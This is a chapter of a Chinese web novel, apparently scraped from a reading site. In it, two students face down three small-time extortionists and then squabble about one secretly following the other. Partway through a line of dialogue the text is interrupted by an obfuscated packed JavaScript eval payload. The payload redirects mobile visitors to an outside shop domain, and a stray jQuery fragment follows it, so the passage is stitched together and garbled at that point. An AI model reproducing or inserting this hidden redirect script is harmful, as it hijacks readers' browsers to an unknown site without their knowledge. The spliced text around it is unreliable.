宋卿伊的视线被挡了一大半,以至于鼻子越发地灵敏——
那味道清晰可辨,熟悉中带点陌生。
平时附在校服,还只能算是若隐若现,换成私服后,那味道像是荆条在混沌的空气中劈开一道光亮,更加凸显了侵略性。
也许是因为他是跑过来的,又也许是因为此刻,她正被圈在他怀里。
香味被挟持在体温里,烘得无孔不入,不经意地往鼻腔里面钻,让人心尖发痒。
除了她那个要会见老同学的老同学,不作他想。
宋卿伊扣着凌曜的腕部,将他的胳膊拉下来,摘了帽子捏在手里。
凌曜穿着套头卫衣,身型颀长,气势颇盛地与对面三傻对峙。
“有手有脚去勒索,你们跟二级残废也没什么区别了。”
三傻被伞尖戳得刺痛,一个个像西子捧心,捧着自己体内的舍利子飙出了眼泪。
“你他妈谁啊?多管闲事!”
“还想学着英雄救美?你也不掂量掂量自己的…”
橙毛梗着脖子,上下打量,发现没有在体型上没有什么优势,便改了台词:“人数?”
绿毛:“就是!”
宋卿伊挪了两步,站到凌曜身旁。
二对三。
凌曜用伞尖撑着地,撑出了一副握的是棒球棒的气势。
他站得笔直:“你问我是谁?”
“对啊!你算哪根葱啊?”
宋卿伊:……
凌曜就算是葱,那也是山东那边的大葱。
就这三个本地蒜头,还敢那么大声?
凌曜嚣张得十分做作,比眼前的小混混更加地狂放不羁。
“我?分局局长儿子。”
彩虹三毛:!
宋卿伊:?
分局……?
是那个分局吗?!
“我姓柯,你们记住了。”凌曜露出一个揶揄的笑,“柯镇恶的柯。”
镇…恶?
彩恶三毛一起退了两步。
橙毛老大看到两个马仔退的步子居然比自己大,pia地一掌将绿毛舀得往前了一步。
绿毛慌张地看着自己突然领先一步,成了先进分子:!
他结结巴巴地放狠话:“你们给我…”
“给你一支笔吧,”凌曜残忍地说道,“柯字有几划知道吗,九漏鱼?”
宋卿伊没憋住,“噗”到一半紧急进行了表情管理,收起了那一副观赏热带鱼的神情。
绿毛:“你们两个……可恶!看招!”
他以迅雷不及掩耳之势从裤兜里掏出了一瓶喷雾,朝着凌曜的门面直喷。
宋卿伊连忙扯了凌曜一把,凌曜反手挡住了她的眼睛。
眨眼时,眼睫毛在他的手心刷过,频率极快,像蝴蝶振翅一般。
她连忙撇开他的手,准备拉着他一起跑路。
凌曜不慌不忙,唰一下按了开伞——
钢瓶内压强大大地足,雾气撞在伞面上居然还能反弹回去。
三个人顿时捂着眼睛嗷嗷地原地跳了一段老年霹雳舞。
橙毛怒斥绿毛:“你他妈是小混混!!居然随身携带防狼喷雾??”
绿毛解释道:“这是昨天的战利品,我见瓶子挺好看的就留着了!谁知道会不会被黑吃黑啊!”
紫毛:“现在是白吃黑!白、痴!”
黑白颠倒,宋卿伊目瞪口呆看着滑稽的场面,心里反而安定下来。
她现在一点都不害怕,身旁有个特别擅长胡说八道的人撑腰,她甚至都能玩梗了。
“需要在分局给你们留个带晚饭的卧铺?三位?”
宋卿伊的语气特别机械,就像饭店里吆喝着“雅座三位”的服务人员一样有礼貌。
彩练三毛气得脸色如发色:“给我等着!以后你们走这条路的时候……”
“…以后我们走这条路的时候会小心点的,你们也是哦,”宋卿伊美目盼兮,迎向他们,“……记得小心点。”
三毛眼睛湿润,愣愣地看着她,涨红了脸。
“还不快走?”
凌曜把伞往前一怼,作势要戳他们的眼珠子。
“小丑鱼。”
小丑鱼们的眼泪逆流成河,迅速潜走了。
宋卿伊看着他们歪七扭八的身影,“啊”了一声。
小丑鱼卷走了她身上唯一的现金。
算了,这二十块钱就当打发要饭的了。
凌曜解决了大麻烦,转过身,面无表情地盯着这个小麻烦。
小麻烦眼神乱瞟,拿着鸭舌帽给自己扇风。
“你怎么在这儿?”
这个时间点,凌曜不是应该在华翼商都跟老同学叙旧呢嘛?
虽然她非常支持这次的放鸽子行为,但是这样真的好吗……?
凌曜欠欠地问:“那你怎么在这儿呢?”
“顺路,我就在这边逛逛…”
“逛逛?”凌曜看着她清澈的眼神,没好气地指着路牌。
被踹出了九曲十八弯的立柱,摇摇欲坠的路牌,牌面上的字快掉漆了,隐约可见写着“红山北路”。
“这儿是红山北路,混混一条街。”
“以后别过来了。”
“哦……知道了。”她慢吞吞地回答。
“怎么那么笨。”
“我笨……?”宋卿伊瞪大了眼睛,歪头反问。
她充其量就比凌曜稍微没那么灵活,绝对属于高智商的那一拨人。
比如,才上了几节课,她的物理已经补上来了。
她发誓,期中考要是没过A线,就弃文从武,加入刚刚那群九漏鱼。
“你要不笨还能走到这儿来?”
宋卿伊气结:“那是因为我不知道!”
“还被小混混堵了。”
“你这是受害者有罪论……”她昂着高贵的头颅,拒绝背负这个罪名,“不,受害者笨蛋论。”
“你要不笨……”凌曜的声音降了半个度,“怎么跟了半路还能跟丢?”
宋卿伊哑然,眼睛瞪得更圆了。
泛着水色的双眸,呆呆地望着他的双眼。
“你怎么知道我…”
跟着你…?
凌曜抬手,把伞举到她面前抖了抖。
“用了那么久了,你不知道自己的伞是透明的…?”
“……”
宋卿伊绝望地闭上了双眼。
就是说,刚刚她自以为精妙绝伦的走位,出神入化的伪装,早就被识破了。
真是太太太太丢脸了。
好几句话在嘴里翻来覆去地颠,最终都没有说出口。
实在不知道如何应对,宋卿伊只好使出小学生必杀技——
“我要回家了。”她讪讪地把雨伞抢回来。
凌曜松手放过了她的伞,却没放过她。
“你怎么不跟了?”
宋卿伊闭口不言,走到路边四处张望,等一辆能救她水深火热之中的出租车。
凌曜追问:“是我走太快了,没跟上?”
宋卿伊:……
她不愿回忆自己的心路历程,恼羞成怒,拿伞柄敲他。
“我要回家了!”
“喂别打!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13687416|141723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”凌曜一边竖起手臂格挡一边往旁边蹦,蹦到伞够不着的地方就停了,“别打了,这是在大街上!”
闻言,宋卿伊停住了动作,心虚地看着街道两旁是否有目击证人。
左来右往空无一人,体面得以保存。
宋卿伊狠狠地瞪了他一眼,准备抽回伞的时候,又抽不回来。
凌曜握着伞柄的弯钩处,不让她收。
两个人谁也不愿松手。
仿佛这不是一把伞,是一只被两人辛苦抚养多年的小宠物。
现在闹掰的两人正在对宠物伞争夺抚养权。
宋卿伊被自己的异想天开所震惊,一张小脸开始发烫。
她用力一抻:“这是我的伞!”
凌曜勾着伞柄,手臂一沉,往后一摆,宋卿伊被带着往前踉跄了两步。
他微微躬身,卫衣帽子依旧没有摘下来。
两个人就差鼻尖对着鼻尖了。
“为什么不跟了?”他沉声问道。
凌曜的头发被帽子压到了眉眼之间,显得鼻梁越发直挺。
他本身眉眼间距离得近,眼窝不浅,看人的时候就想一汪泉水,总有些情意在里面荡漾。
宋卿伊看得一哆嗦,急急忙忙挪开了眼神。
她赶紧把手上的鸭舌帽扣回凌曜头上,挡住他的脸。
凌曜还是不松手。
她心里嘀咕:帽子还了,他怎么还不把脖子收回去啊。
别是像上世纪的布谷鸟吊钟,伸出头整点报时之后卡着了?
宋卿伊想了想,伸出一根食指,抵上了他的下巴。
凌曜定住了。
下巴的骨骼感十分明显,戳下去时只有轻微地凹陷。
她用带着凉意的指尖徐徐一戳。
“因为我真的要回去了。”
这会儿的凌曜特别听话,都没怎么使劲,他就被轻轻推开了。
他把伞递还给她。
宋卿伊突然软了下来。
“……谢谢你。”
谢谢你的突然出现。
也谢谢你没有去赴约。
宋卿伊完这句,转身就走了。
安静得奇异的街道,似乎每个人的脚步声都清晰可闻。
宋卿伊走一步,凌曜在身后亦步亦趋。
她走他就跟着走,她停他就跟着停,但中间始终保持着两米的距离。
二人位置颠倒,宋卿伊从跟踪人的那一个,变成了被跟着的那一个。
宋卿伊有点紧张,摆臂的幅度有点大,迈出的步子僵硬了起来。
原来被跟踪的感受这么明显……
而有些人就像无家可归的流浪狗,遇见了心软的神便坚定地尾随。
宋卿伊抿着嘴,羞赧地偏头。
所幸天色已黑,大概无人可见。
“你自己没有家吗?”
过了好一会儿,凌曜才开口。
“……我手机没电了。”他的声音中还带了点委屈。
啊。
好像刚刚下课的时候,看到他手机确实是没电了。
凌曜家里好像住得挺远的,没有手机,大概也没办法回去了吧。
那……
好吧。
看在他今天帮了她的份上。
她也,乐于助人一次吧。
“凌曜。”
宋卿伊停下脚步,在模糊的夜色当中转过身,脸上带着点绯红。
“嗯?”他暗哑的声线与夜色融为一体。
伞尖点地,少女白皙的手握着伞柄,另一只手抬在空中,轻轻一招。
“……嘬嘬。”